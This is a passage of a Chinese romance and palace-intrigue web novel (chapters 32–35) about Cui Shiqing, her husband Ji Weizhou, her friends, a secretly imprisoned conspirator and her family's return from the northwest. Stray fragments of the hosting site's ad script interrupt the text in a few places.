甚至在一夜好眠,精神奕奕的时候,她还反省起之前太过放纵,以至于颓靡乏力,也不知有没有伤及跟本,影响了寿数。 有了这种想法,除了把纪危舟当作趁手的百工,崔时清在各个方面都防着他,连嘴都不给亲了。 不时还传授教化他,清心寡欲的养生之道,可惜收效甚微。 看着贼心不死的人,崔时清很严肃地斥责道:“你都没有把我的话听入心中,什么汤都不管用了!” 看着女娘子皱起眉,显然又在‘反省’什么,纪危舟连忙开口,打断她的念头。 “不管用,兴许是因为用错了方法?” “怎么可能!”崔时清想也不想,便断然否认。 纪危舟直勾勾望着她,试探道:“不如试试我的?” “……试什么?”崔时清心里知道,不该应这话,但勾缠着她的指尖太闹腾了,不知不觉间,她就松了口。 纪危舟从水中站起,仰着头颅,亲口证明迷魂汤是如何把他之所念、直入人心,‘教化’与人。 32. 啜泣 沾了水的木梨花没有如纪危舟所言,焕发出更独特的美。 它皱皱巴巴堆在地上,而主人也如遭遇风霜的小白花,蔫头耷脑地依附在风霜的爪牙下,任其搓圆捏扁。 “……我还是病人!”崔时清强忍着哽咽,指责道。 纪危舟看着洇了湿红的桃花眼,含着泪欲哭不哭、坚强又委屈的模样,喉间上下轻滑,捧起崔时清的面颊,轻咬了一口。 眼里全是贪婪,直勾勾地瞅着她,哑声回道:“我知道。” “知道还、还这样!”崔时清很生气。 纪危舟叹了口气,在她的颈窝间蹭了几下,也很委屈地说:“这不是顾忌着你的伤,也没有如何吗?” “你还想如何了?!”崔时清瞪着他,要不是浑身没劲,怎么也得给他几个耳刮子。 纪危舟没有把色厉内荏的眼刀子放在心上,很期待地问道:“还要试试吗?” “……” 崔时清默默瞥开了眼,唯恐面前的妖精再使诡计,勾她做尽坏事。 纪危舟等了一会儿,见崔时清油盐不进,只好自己凑了上去。 “养生之道贵在于坚持,方才软软躲懒少活动了半刻,不如我来帮你补回来?” 又在胡说八道了! 崔时清心想,当即挣扎着从纪危舟的怀中起来,“让我走,我现在就去捡石头!” 望着宁为小池塘添砖加瓦、也不选择躺平的女娘子,纪危舟收紧了四肢,凄凄然道:“软软是嫌弃我了吗?” 被强行封印的崔时清,没有半点怜悯之心,恶狠狠地开口:“不许无理取闹!”无理取闹是她的权利! “软软、软软。” 纪危舟以绝对的优势压制着崔时清,却又以受了天大委屈的姿态,小娘子一样怯生生地瞅她。 “做个人吧!”崔时清被缠得不行,忍不住仰天长叹。 “软软可以吗?”纪危舟扑倒她,黑眸闪动着明晃晃的兴奋。 这就是老祖宗常说的,恶人自有恶人磨? 崔时清面无表情地看着纪危舟,心中苦不堪言,却还是提起劲来,‘啵’了一声,凶巴巴地亲了他一口。 “可以,但是不想!”崔时清嘴硬。 纪危舟欢快的神情顿时转为失落,很自然地压着身下的人,紧贴着不放。 自认为在恶人的比拼中拔得头筹的崔时清,气焰嚣张地睨着纪危舟,连方才被吸走的精气神也重回她的体内。 指尖戳了戳沉甸甸的脑袋,凶神恶煞道:“滚开!你好沉。” 纪危舟顺从地抱着她,滚了半圈,心甘情愿充当肉垫。只是一双黑漆漆的眸子,还是不肯安分,凄楚又幽怨地盯着崔时清。 “软软压着我吧,我不怕沉。” 崔时清对于这种‘被迫压人’的境况还是不满,但好在面子上过得去,也就勉强不与他计较。 懒洋洋地活动了一下手脚,面颊贴在纪危舟的心口,听着沉稳有力的跳动声,渐渐地就有些犯困。 “睡吧,乖女娘。” 纪危舟的手掌温温热热的,抚过脊背上的每一寸皮肤,让人暖洋洋的,如沐浴在秋日艳阳下。 崔时清的眼皮越来越沉,意识也逐渐缥缈散去,耳边的声音似是勾子,拉着她、一步步沉入梦田。 骤然间,尖锐的声音击碎了香松云梦,崔时清一脚踏空,突然惊醒,双手紧紧攥着纪危舟的衣襟,看着他。 发生什么了? 纪危舟的表情也难看了一瞬,但很快便调整过来,迎上惊愕的眸子,温声轻哄着。 “勿怕,没事的。” 啊、没事啊。 崔时清长吁了一口气,伏趴在纪危舟的怀中,缓了缓紧张的肩颈。 “是谁在吵闹?”崔时清没了困劲,便有些好奇,望着门口的方向,侧耳听着外面时轻时重的说话声。 纪危舟握着她的手,把玩道:“有你的阿姆在。” 崔时清收回探究的目光,瞥了一眼阴阳怪气的纪危舟。 自从她决定与天道之子成婚,柳氏就对纪危舟表现出强烈的敌意,而纪危舟同样把讨厌柳氏写在了面上。为了避免柳氏与天道之子不对付,惹来祸事,不得善终,她狠下心,把从没有离过身边的奶娘赶走,留在了庄子里。 她原本以为,还需要很久、很久以后,才可以让柳氏回来。 岂料,在她重伤之时,纪危舟拿捏住了柳氏私自离开庄子的把柄,却没有发作,反而还许她留下来。 即便现在,每每提及柳氏,纪危舟还是那副眉眼沉郁的模样,但却没有发作。 为什么要这么做呢? 崔时清想了很多遍,也没想明白,最后只得心不甘情不愿地承认。 或许这就是所谓的天生正道楷模。他虽然小心眼,但为人还是正直、行事还算正派,勉强够得上让人钦佩的程度。 “你说得也对,阿姆可以处理好的。”崔时清以一种不太熟练的方式,两头都夸,企图让纪危舟看出柳氏的好。 “好好好,她最好了!”纪危舟扶着崔时清的肩头,把她放在一边,兀自双腿盘坐着,生起闷气。 崔时清无措了一瞬,又发觉这个反应有些丢人,就硬气道:“阿姆可是你留下的,要是她不好,也是你的错。” 纪危舟双手抱臂,咬牙切齿道:“我这不是一直说她好吗?” 崔时清不爱听这怪声怪气的语调,蛄蛹着身体上前,把纪危舟压在了榻上。 “她不就是把你拦在院外几次吗?这有什么,至于让你这般记恨了?” 纪危舟心道:就只是拦在院外吗?她一门心思都想着苏家那位,还不许我生气了?! 心里不服,纪危舟嘴上也不说,轻哼了一声,任由崔时清坐在身上,欺压他。 崔时清烦得不行,但也知道除非再把柳氏送走,否则这事是逃不开的。 “那你说,你想如何?再把我阿姆送走了?!” 自从死里逃生,心口漏过风,崔时清一旦感到心气不顺,就忍不住哽咽。 想她从前轻易不掉泪,眼下却心口泛酸到眼冒泪花,便难以自抑地抽噎了一下。 纪危舟顿时心慌意乱。 他闹归闹,可没想过惹哭小女娘,看着崔时清把豆大的泪珠子含在眼里,欲落不落的可怜模样,他连忙投降。 “怎会?不送走!就让她留着!” “……我,没有要哭,都怪这伤。” 崔时清还在憋着哭劲,很艰难才把解释的话说完,立刻低下头,把脸埋入纪危舟的心窝处,准备啃上一口, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以形补形。 尖牙穿透薄衫,啃磨着心口上的皮肉,刺刺麻麻,还有无法忽视的湿软,纪危舟难忍地发出一声轻“嘶”声,还没有抱紧作恶的女娘,就被轻松放过。 “软软?”纪危舟莫名有些失落,揉了揉她的后脑勺,轻声唤了一句。 以形补形,真的有用啊!崔时清昂起头,泪眼无踪,神色欢喜。 天道之子,还可以治百病?!崔时清看着纪危舟健实的体魄,很眼馋。 “再让我咬一口?”她郑重其事地与其商量。 “可我会疼的。”纪危舟的表情有些为难。 “我会很小心!我……”崔时清好声好气地骗人,还没说到动情处,屋外又响起了一阵吵嚷,“噫?这声音好熟悉。” “国公府里哪有不熟悉的人?” 纪危舟随口安抚,把崔时清的头转了过来,黑眸专注地望着她,“软软还要吗?” “我……” 崔时清刚要回答,又忍不住探头朝外,“不对,这不是我的狐朋狗友吗?” 纪危舟看着利索从自己身上爬起,噔噔噔抛下他的崔时清,独自一人躺在空荡荡的床榻上,眉眼发沉,心情糟得不行。 在‘收服’柳氏以后,院子里的一应事宜都被他掌握在手中。 小女娘要静养,不必见的访客,都可以回绝。 这是柳氏作惯的事情,纪危舟以为她会处理的很好,便没有插手,谁知她如此不堪重用。 纪危舟坐起身来,很想跟着出去,但他知道自己应该拿捏分寸,不可心急,不能暴露自己日复一日,越来越不知满足的欲念。 抚过还存有一丝温香的锦衾,他耐住性子,闭上了眼,克制地等待着时间的流逝。 要是、这世间只剩下他们二人,该多好。 * 屋外,崔时清并不知道纪危舟的想法,甚至都忘了他。 半月多月,除了院子里的人,她见得最多的就是纪危舟。这哪怕再好看的一张脸,天天瞧着也腻得慌啊。 猛然看到两张新鲜的面孔,崔时清稀罕得不行,一左一右拉着李昶和蔡梦期,上下打量了一圈,也没舍得松手,就叫骂道。 “没良心的东西,怎么才来看我?” 蔡梦期指着周围阻拦她的婢子们,凶巴巴地告状。 “哪里是我们不来了!这地方比皇宫还难进,前前后后来了多少趟,连外院的门都碰不着!” 阿姆这习惯,还真是…… 崔时清扫了眼一直默不作声、低头侍立的柳氏,暗叹一声,挥手让人退下。 强行闯入内院,李昶此时也狼狈得很,却也顾不得整理仪容,眼巴巴地瞅着崔时清,哽咽道。 “我还以为姑奶奶不要我们了!” 糟糕。 听到哽咽声,再次心底发酸,也很想哭的崔时清,很后悔没有把她的‘肉灵芝’带出来。 蔡梦期看着眼眶泛红的友人,鼻头也跟着发酸,哭声立刻溢了出来。 “时娘,我以为再也见不到你了……” “呜!” 长公主诗会后,三人再次相见,在此时此刻,执手相望彼此。 不多时,院子深处、无人之地,京都三恶霸蹲在一起,围成一圈,小小声地啜泣着。 33. 长夜 一阵黏糊劲,来得凶,散得快。 仿佛从妖魔鬼怪的夺舍法咒里逃了出来,京都三恶霸蹲在地上、面面相觑。 “你们哭得好丑。”崔时清没眼看似的,率先移开了目光。 蔡梦期擤了一下鼻涕,也不客气道:“你也丑。” “怎么可能!”崔时清看向李昶,质问道,“我丑吗?” 李昶哭得鼻酸眼干,还有些耳鸣,但秉持着姑奶奶绝不会错的原则,立即点头、语气笃定地答。 “是!没错!姑奶奶说的真好!” “噗!你也很好!” 蔡梦期笑得双肩打颤,莫名被赞许的李昶突然耳聪目明,咧嘴笑着。 “……” 温情褪去以后,崔时清唯剩灭口的冲动。 擦干泪眼,崔时清心硬如铁地盘坐在地,解开系在腰间的荷包,把里面五颜六色的豆子倒在裙裳上,熟练地挑拣了起来。 “姑奶奶,你这是在玩什么?”李昶好奇道。 “这是什么玩意?” 蔡梦期也顾不上嘲笑崔时清,和李昶挨挨挤挤地凑在一起,看着那堆小山一样的圆鼓鼓的东西,眼睛都快看花了,也没瞧出她在挑什么。 这个活计,连做十多日,崔时清已经很熟悉了。 她手也不停,动作利索地挑拣赤豆,还顺带轻蔑地扫视了一眼面前目不识豆的俩人 “这些都是豆子,粥米里面常有。”崔时清昂头挺胸,好心解释了一声,末了,又故作惊讶地瞅着他们,“你们都不知道吗?” “啊、这样啊,还能吃啊。”见过粥米无数的李昶,从没想过要探究粥米生前的事情,猛然要和它们打交道,脑子发蒙,想不到适合的相处之道,只得干巴巴地应和。 蔡梦期抓了一把豆子,看了几眼,问道:“你怎么想起摆弄这些了?” 崔时清拍开李昶跃跃欲试的手,“还能做什么?拿来吃呀!赤豆用来熬煮糖豆粥,好吃又长寿!” 蔡梦期轻哂道:“是何人忽悠你的?” “谁敢?!”崔时清瞪了她一眼,坚决不认。 蔡梦期只好委婉地又问:“是谁告诉你糖豆粥吃了会长寿?还要你亲自捡豆子了?” 崔时清默了默,又挑了几颗赤豆,老神在在地说:“你不懂。” “我真是不懂。”蔡梦期连连颔首。 崔时清面对朋友,向来大方,也不藏着掖着,直言道:“空晖禅师都知道吧?他老人家时常挑捡豆子,熬煮糖豆粥!耄耋之年还无病无灾,身子硬朗着呢!” “是空晖禅师告诉你的?”蔡梦期又惊又喜。 “……是、空晖禅师的学徒说的。” 蔡梦期顿时泄了气,软绵绵地席地而坐,瞅着崔时清,欲言又止了半天,才道:“时娘,你指的是何人?莫不是个骗子?没听过老禅师还有学徒呀,再说一碗粥食罢了,哪有那么玄乎。” “是纪危舟说的。”难不成真被骗了? 捡豆子的动作慢了下来,崔时清思量起蔡梦期的话。 “啊!纪家阿兄说的,绝不会错!”蔡梦期立即信服了这番说辞,低着头,挑拣起掌心的豆子。 “是吧?” 崔时清有些犹豫,但捡豆子这事本就玄妙得很,一旦开始就很难停下,尤其是身边还多了位同伴。 俩人挑挑拣拣、闲话私语,显得亲密无间。自觉备受冷落的李昶不甘寂寞,趁着崔时清说话的空档,也取来一把豆子,学着她们的动作,笨拙地挑出赤豆。 崔时清:“真的?这么大个人怎会没了?” 李昶插话:“真的!王家把公主府都翻了个底朝天,连那条水道也仔细探过,就是生不见人死不见尸。” “这也太古怪了。”崔时清皱起眉。 王重罗失踪了?他怎么会失踪? 这么大的事情,纪危舟怎么一点反应也没有。他们不是朋友吗? 难不成,纪危舟不知道? 崔时清看了眼还在津津有味地讲述王尚书寻子的细枝末节,推翻了这个猜想。 “确实古怪。”蔡梦期压低声音,又道,“听说王尚书四处寻人的动静太大,惊动了今上,还被训斥了一顿呢。” 李昶:“那怎么办呀?” 蔡梦期摇了摇头,“兴许,只能作罢了。” “作罢?不找了?”李昶不敢置信。 蔡梦期:“这都过去多久了?饿也饿死了!再因为此事惹怒今上,岂不是赔了夫人又折兵?” 李昶安静了下来,过了片刻,才怏怏道:“至少王尚书找了半月有余,如果是我丢了,恐怕我家老头还要吹拉弹唱庆贺呢。” 崔时清神色微怔,也不知在想什么,连手中的豆子也散了一地。 “你怎么了?” 蔡梦期纳闷地看着她。 崔时清拨弄着见了底的豆子,又全都一股脑装进了袋中,眉眼散漫地笑道:“不想玩了。” “……我可没有在玩。”蔡梦期认认真真捡完最后一粒赤豆,双手合十,念了声佛语。 崔时清懒得理她,看向李昶,“还有什么新鲜事?” 李昶攒眉思考了一下,如同献宝一样,探头说道:“姑奶奶还记得魁首娘子许悯儿吗?” “她怎么了?”崔时清扬眉。 “据说皇后娘娘很感激她以身相护六皇子,默许了她和六皇子来往。美人护情郎,她如今可是京都城中风头最盛的‘花魁皇妃’了!” “花魁皇妃?真有意思。” 崔时清摸了摸衣袂暗袋里的玉石,笑了起来。 * 刑部暗牢的深处,关押着一名囚犯。 他是公主府刺杀案的主谋,认罪书上呈天子,贤文帝既不处死、也不公布他的身份与罪行。命人割去他的舌头,关押在暗牢中,再无其他指示,就此忘了他的存在。 某一日,囚犯突患恶疾,他饱含着不甘与怨恨,以为自己就要无人问津地消失在这个阴潮肮脏的牢房中。 但是,他活下来了。 有人不想让他死,他还有利用价值。 囚犯的眼睛里又迸发生机,他等着,等了又等,除了无边的黑暗,什么也没有等来。 在他再次陷入被遗忘的恐慌中,牢门上的铁锁转动了,习惯黑暗的眼睛因一盏微弱的烛灯而刺痛,但他仍然睁圆了双 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目,死死望着久违的灯火。 纪危舟走了进来。 衣袂随行走间卷起的清风微扬着、飘飘然而入,面如冠玉无悲无喜,犹如真神入凡,不可直视。 跌入泥淖的囚犯,不自觉地垂下了眸子,眼里是浸了毒的嫉恨。 扶袖提灯,纪危舟饶有兴致地观察着暗牢里的陈设,不紧不慢看了许久,才对上已然褪去恶意、重燃期待的目光。 “你是此处的犯人?” 纪危舟语气平淡,寻常不过的一声问候,在这张好看的容颜下,总让人不由地多生出几分好感。 囚犯没有寻常人的反应,他听到这个问题,似是被极大的困惑所攫住,呆愣愣地瞅着纪危舟。 “真安静。”纪危舟并不在意囚犯有无回应,他慢步逛了一圈,感慨着,“只你一人在此,着实寂寥了些。” 囚犯还是一动不动,甚至怀疑起自己的神智,觉得眼前的人、耳边的声音都是他在无尽的等待中,产生的幻觉。 否则,他的朋友怎么会认不出自己? 纪危舟再次开口问: “你有朋友吗?我是有的,他叫王重罗,他很重要。” 囚犯如同被什么击中,努力地张了张嘴唇,指尖痛苦地抽动着。 纪危舟像是没有注意到囚犯这股倾诉的念头,拨弄着烛灯上的灰烬,暗牢里的光影剧烈晃动着,又重归平静,他才继续说话。 “我们会相互扶持,走上至高之位。” 他是我的磨刀石,使我众叛亲离的利刃,斩断我于六亲的全部妄念。 “嗬、嗬嗬……” 是我,既安,既安!救我! 暗处的囚犯从喉间发出激烈的气音,用力挣脱着困住手脚的锁链,扬起脏污的脸,一双充满希冀的眸子亮莹莹地望着纪危舟。 纪危舟如慈悲的菩萨,绝色的面容博爱又悲悯,却唯独忘了低下头,看一眼角落里痛苦又凄楚的信徒。 “嗬嗬、嗬嗬……” 是我,你认不出我了吗? 纪危舟终于如他所愿,低下了头颅,看着他如同一件死物,残忍地宣布道:“可惜,这世间再无王重罗,他再也回不来了。” “嗬!嗬!” 怎么没有?我就是王重罗啊!我就是啊! 纪危舟轻叹了一口气,好心地解释道:“他失踪了,谁也找不到他。连王尚书都召回了寻子的人手,立下衣冠冢祭拜他。” “嗬嗬嗬!” 囚犯疯了一样,不管不顾地爬向纪危舟,镣铐哗啦作响,被磨破的四肢很快渗出了血,铁腥味让空气浑浊的暗牢更加刺鼻。 纪危舟沉默着,望着空荡荡的暗牢,无边的黑暗、无声无息的长夜。 同样的漫漫长夜,他经历八世,已经足够了。 纪危舟掐灭灯火,转身而去。 * 黑云倾轧,雷声震天撼地,威力无穷。 崔时清蜷缩在锦衾中,迷迷糊糊之际,感受到了一个熟悉的气息,双手攀起,藏进了他的怀里。 这一夜,万物生灵瑟瑟发抖、不敢擅动。 这一夜,他们相拥交缠,睡得格外香甜。 34. 嫌疑 昨夜睡得好,精神头十足,看着身边的人,崔时清的心思也活络了起来。 “你可有听说外面的事情?” 纪危舟散漫地靠在崔时清的肩上,应道:“你指的是何事?” “王重罗失踪了,你知道吗?” 纪危舟眼睛也不眨,语气平淡地说:“诗会当日他没有归家,王家人已来问过。” “你们不是朋友吗?他失踪了,你怎么都不着急?”崔时清觑了他片刻。 她的判断果然没错。 这狗东西就是个冷心冷情、没心没肺的玩意啊! 黑眸主动迎上探究的目光,纪危舟面不改色地抱着怀中的人,说道:“我们曾经是朋友。” “曾经?何时闹翻的?” 崔时清目露震惊,连声音都拔高了几分。 公主府诗会上,他们不是还在‘卿卿我我’吗?怎么转头就翻了脸?王重罗还那么巧就失踪了! “软软是在怀疑我?” 崔时清一时没掩饰住心中的猜疑,被抓个正着,也不扭捏,直截了当道:“对啊。按照官府的说辞,你很有嫌疑啊。” “他的失踪与我无关。”纪危舟举起清白的双手。 此话为真。 王重罗的‘失踪’、和后面的遭遇,都不是他动的手。 他在其中充当的不过是一个积极举报凶手、让京都百姓获悉真相的无名人士,仅此而已。 “那么,你都做了什么?” 崔时清双手抱臂,冷静地看着纪危舟,拒绝轻信他的只言片语。 桃花眼落在身上,冷然又锐利,以一种近乎执拗的坚持,试图划烂虚假,在一团糟污中寻找真实。 这样冰冷冷的目光,却是纪危舟见过的、最纯粹的眼睛,落在身上,令他无法自抑地轻颤着,又禁不住地想要靠近。 最终,在说不说谎之间,纪危舟选择了说出一半真相。 “他与刺客有关。” “什么?杀手是他安排的?” 看着过于漠然的人,崔时清有些激动,“你怎么知道?他跟你说了,还是你也参与了?” 她想起了之前几世,救下赵晟真的都是眼前这个人,从此得到皇后和孟家的支持,仕途平顺、青云直上。 阴谋的味道,耐人寻味的细节,都让崔时清的目光都变得凌厉而警惕。 在越发薄凉的视线下,纪危舟回想着这一世应该有的记忆,站在狭隘的视野里看了片刻,才慎重地回答她的问题。 “不,我原本并不知道。诗会当日,由于你我之事,我已与他不欢而散。” 也不等崔时清发问,他继续说。 “但我事先察觉出他行事怪异,一直跟随于赵晟真的身边,就多留了几分心眼。直到看到魁首娘子挡了刀剑,他又以独有的暗号命令杀手撤离,我才有了这个猜想。” 崔时清认真听完,并没有全然信服,但也收敛了眼里的疑色,问:“所以,王重罗安排了刺杀,还想借机揽下保护嫡皇子的功劳?” 纪危舟没有开口,但平静的黑眸,已经给出了答案。 “嘶。”崔时清突然兴奋了起来,抓着他的双臂,又说,“难不成刺杀的目的,就在于此?” 望着满眼星光的人,纪危舟忘了那些肮脏的手段,唇角微扬着摇了摇头,轻声道:“我也不知。” “王家那样会钻营……” 崔时清说话间,突然沉默了下来。 王重罗不是主谋,否则他不会是失踪。而宫里对于刺杀案的态度如此含糊,想必幕后之人必然位高权重、又身份特殊。 刺杀嫡皇子? 难不成和太子之位有关? 纪危舟望着面色瞬息万变的女娘子,没有被审视猜疑的不悦,反而升起一种古怪的愉悦。如同种瓜的农夫,看着鲜嫩青翠的瓜田,自满的情绪都要刻在了眼中。 崔时清忽然重重叹了一口气,托着腮,有些无精打采。 “怎么了?”纪危舟动作轻缓地抚摸着她的头发。 “他们养了这么一群人,居然都没被发现!” 而她!只养了几个独苗苗,就跟做贼一样,偷偷摸摸还被灭了几次!天道真是不公啊! 崔时清瞥了一眼纪危舟,几乎要被嫉妒冲垮了理智。 纪危舟眨了下眼睛,淡然问:“他们?” 崔时清看似不经意地移开了眼睛,若无其事地坐直身子,再无暇悲秋怀春。 纪危舟再问:“软软可有什么瞒着我?” 崔时清眼睛都不眨,便道:“没有。” 纪危舟忍着笑,点了点头,认可她。 崔时清还有些不甘,戳了戳纪危舟的心口,扬眉问道:“你呢?藏了什么私密?” 纪危舟淡淡然地握住作怪的手指,给出同样的回答,“我也没有。” 他们看着坦然交心,却在四目相视时,都不约而同安静了下来。 崔时清认真想了想,睨着纪危舟生来便淡漠的眉眼,忍不住问道:“你伤心吗?” “软软是指什么?”纪危舟有些迷惘地歪着头。 “和朋友吵了架,还没和好,他却失踪了,也许再也见不到了。”崔时清慢声慢气地说着戳人心肺的话,目不转睛地望着他,好奇中、又少不得幸灾乐祸。 纪危舟顺着崔时清的问题,思索了起来。 伤心、难过? 第一世的他,是有的。只不过在漫长的岁月里,足足九世的煎熬中,所有的情绪都被磨平,剩下了麻木、空洞,和许多令人厌恶的痕迹,再也起不了任何波澜。 但,现在的他,就是‘第一世’。 纪危舟看向眼前的人,漆黑的眸子微闪了一下,点了点头。 “还真伤心了啊?”好开心! 崔时清不合时宜地笑出声。 纪危舟目光幽幽地瞅着她,“……软软?你不能克制一下吗?” “唔、哈!”崔时清也知道自己这样的行为很招仇恨,但她真是忍不住。 她就像勤勤恳恳开垦荒地的田舍汉,累得半死,可天老爷就是不给活路,好不容易落了三两滴雨,长出一丁丁小苗苗,可不得高兴疯了?! “你就不心疼我?” 纪危舟的下颌紧绷着,瓮声瓮气地问了一句。 “你们偷摸着说我坏话,还想让我心疼了?”崔时清理直气壮,表情凶悍地觑着他。 “我没说。”纪危舟强烈申辩。 但崔时清并不准备放过他,立即乘胜追击道:“但你听了!” “……”纪危舟委屈得不得了,却也无话可说。 崔时清盯着他,正色道:“下次再有人说我坏话,你要如何?” 纪危舟破罐子破摔,气恼着说:“打落他的牙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “欸、对!就这么办!” 崔时清很满意,甚至倾身在纪危舟的面上啄了一口,鼓动道,“我就喜欢有男子气概的郎君,遇上事情直接上,啰啰嗦嗦讲道理,只会被人欺负的!” 纪危舟摸着脸颊,温软的触感还没散去,眼神在崔时清苦口婆心的教化下,逐渐坚毅。 “都听软软的。” 话音刚落,他伸出长臂,转瞬间便把崔时清揽入怀中,积极践行他的男子气概。 崔时清:“?” 充分体会过她的教化成果,崔时清累得连一根手指头也不想动,歪倒在纪危舟的怀里,任其搂抱着。 “我饿了。” 看了一眼天色,纪危舟温声道:“赤豆呢?我给软软熬煮糖豆粥。” “哝,都在这里。”崔时清把荷包扔给他。 纪危舟低头看了眼袋子里的杂豆,“昨日没捡豆子吗?” “你是不是在骗我?”崔时清瘪着嘴,不是很高兴。 纪危舟扬眉,“软软怎会如此想我?”是不是那两个碍眼的说什么了?! “你就是借着给我养身子的名义,使唤我!”崔时清板着脸。 “我只问软软,近来睡得可好?”纪危舟眼神定定,丝毫没有被戳破的心虚。 “……我那是累的。”双颊红粉,累成这样还有精力吵嘴的崔时清,死不承认。 “也罢,软软若是不想捡豆子,我们就不捡。”纪危舟被她的小表情逗得直乐,也不再坚持。 崔时清有些意外,“真的吗?” “真的。” “那、糖豆粥……” 崔时清莫名有些踌躇,连声音都低了几分。 “我现在就去熬粥。” 崔时清心念微动,少有黏人地扒拉着纪危舟的手臂,仰头望着他,“何必劳累你了?玄鱼在厨艺上还是有几分机灵的,你把糖豆粥的食谱写出来,让她去做!” 她心里打着小算盘,眼睛一错不错地盯着纪危舟,生怕被拒绝。 纪危舟却很爽快,直接点头道:“也好。” 崔时清瞪圆了眼睛,意外十足地确认道:“真的?” 纪危舟笑了出来,捏了下心思九转十八弯的小女娘,说道:“真的,婢子学了,也可时时让你吃上。” 这么大度?是她太小心眼了? “你照顾了我这么久,也该歇歇的。”崔时清自省完,继续试探着。 “歇不得。我近来都在研究古籍,准备写几张养生茶饮的方子,正是需要时时跟在软软身边,调整用料的时候。”纪危舟拉着崔时清的手,似笑非笑地瞅着她。 “……如此、只能辛苦你了!” 崔时清目光热切、饱含着期待与鼓励。 “谈何辛苦?软软之事,自是最最要紧的,由我亲自来办,才可安心。”纪危舟挑唇笑着,不动声色之间,把人紧紧困在怀中,感受着独属于女娘子的暖意。 崔时清也弃了过河拆桥的初衷,挂在纪危舟的身上,声音里是她自己都没有意识到的依赖。 “你且专心研习古籍,我都听你的!” “说话算话?” “……算话。”以后不算! 得到各自想要的,他们亲亲热热又说了许久闲话,刚把糖豆粥的食谱写好,已经甚少直入里屋的柳氏突然匆匆忙走了进来。 35. 失去 “我儿,你怎么……” “母亲不必如此,我过得很好。” 伴着吴氏的泣声,一个温和又不失坚毅的声音响起,崔时清停下脚步,望着拥挤的堂屋,簇拥在一起的人,有些失神。 “何处好了?你看看你、都消瘦了多少?这双手、这双手哪里像是我国公府娇养出来的女娘了?” 崔时清若有所思地看着纪月隐的侧脸。 西北苦寒,她的母亲即便生得再美,也敌不过飞沙走石、酷日狂风的无情。 “我的婚事是母亲定的,如今我与侯爷过得和美,您又有什么不满足的?” “你们夫妇一意孤行,非要去那劳什子的西北苦寒之地,苦了自个,还害了儿孙,我能满足什么了?” “母亲!” “你把孝经也丢在荒地了?” “母亲慎言。” “你们姐弟二人是想气死我?!” “月娘和玄益从西北归来,还不适应京都的水土,母亲顾着心疼儿女,也不能忘了咱们得小丰年呀。” ——崔丰年,她的幼弟。 崔时清顺着陈芝岚的动作,看到了被她轻轻推上前的六岁小儿。 “丰年给外祖母请安。” “我的小丰年,乖孙儿,怎的被养得小小一团,让人心疼。” “外祖母,我已六岁了,不小了!再过两年,我也能和豆子哥一样种地养家啦!” “不不不、不种地,我们不种地!丰年、这名字不好,要改!” “为什么?” 小儿郎稚幼的声音里,透着困惑和掩饰不了的难过。 崔时清蹙着眉,正欲迈步。 一个高大的身影遮住了她的视线,把泪眼莹莹的小儿抱了起来。 “阿爹,外祖母不喜欢丰年吗?” “不,不论丰年叫什么名字,外祖母都是喜欢你的。” “可我不想改名。丰年好,有了丰年,大家就都不用饿肚子了!” “好,我们不改。” 崔时清望着被父亲抱在怀里的幼弟,被蒙尘了九世的记忆,乍然出现,与眼前的这一幕交织着,让她不由惘然。 垂落身侧的手,突然被握紧。 她低下头,看着牵着自己的手,沉默了一下,弯唇笑了笑,轻蔑地抽回手。 ——你以为我会在乎吗?不会。 崔时清后退几步,正想要转身离开,一直沉浸于团聚的人们却突然发现了她。 “时娘和三郎来了。”陈芝岚朝着他们挥了挥手。 正因为吴氏口不择言而生气的纪月隐,还没有收敛起面上的愠色,便怔怔然地站起身来,看向来人。 抱着幼子的崔其沂,直愣愣地望着不远处的女儿,和妻子一样,张口却无言,不知所措地看着十年间不曾相见的骨肉。 他们很想走上前,把女儿拥入怀里。 但他们没有忘记。 崔时清七岁入京,是带着怨恨走的。离开时,没有留恋西北的一切,包括他们。 “阿姐?” 崔丰年抱着父亲的脖子,歪着小脑袋,语气不确定地唤了一声。 崔时清冷淡地瞥了他一眼,对于父母殷切的目光视若无睹,径直走向吴氏。 “外祖母、舅父、舅母。”崔时清对着三人行礼。 “软软怎么过来了?快来,来外祖母身边歇着,不能劳累。”吴氏伸出手,拉着崔时清入座。 崔时清带着薄怒,瞪了一眼纪危舟。 有了伤病的借口,她原本是不准备来的,可这厮非说自己答应过要陪他出城接人。眼下,人已至府中,怎么也得兑现承诺,跟他走这一趟。 崔时清可不记得自己应过什么,但实在耐不住纪危舟的缠功,只好勉强来了。 “还是外祖母疼我。”崔时清颇为幽怨地靠在吴氏身边。 纪月隐听着这话,觉得不太对劲,面色焦急地看着女儿,问道:“你怎么了?身子何处不妥?” 崔其沂也紧张地打量着她,见她气色尚可,但比年初画像上的模样清减了不少,连忙转头望向身边的小舅子纪光,询问缘由。 看出吴氏存了吓唬女儿女婿的心思,纪光连忙赶在她开口前,解释道:“前些时候公主府有刺客行凶,时娘受了外伤,但已然没有妨碍,只是女娘子娇弱,还须仔细将养一段时日。” “刺客?!” 纪月隐惊呼了一声,也顾不得和女儿的隔阂,拉着崔时清,仔细端详着她的面容,“伤在了何处?医士、医士是如何说的?” 崔时清皱起眉,看着紧紧攥着她的,有些粗糙的手指,心中腾起让她不适的情绪,正要挣脱,纪月隐却自己松开了。 垂眸看着逃脱束缚、空闲下来的双手,还没有回过神来,下一瞬,身体却被更加用力地抱进怀里。 崔时清浑身僵硬,甚至无法正常呼吸,像一个傀儡,无声无息地靠在这个极为陌生的地方,没有了自己的意识。 吴氏没好气地拍打着纪月隐的手臂,“你轻点!不要碰疼软软了!” 纪月隐见崔时清面色难看,茫然无措地放开她,像做错事的稚童一样低着头,沉默了片刻,又悄悄地看她。看着近在咫尺的女儿,一时竟有些痴了,移不开目光。 崔丰年从父亲的怀中落地,小跑着来到崔时清的面前,扑闪着一双清澈的眼睛。 “阿姐?” 崔时清没有什么表情地看着,比寻常六岁小儿、还要瘦弱的幼弟。 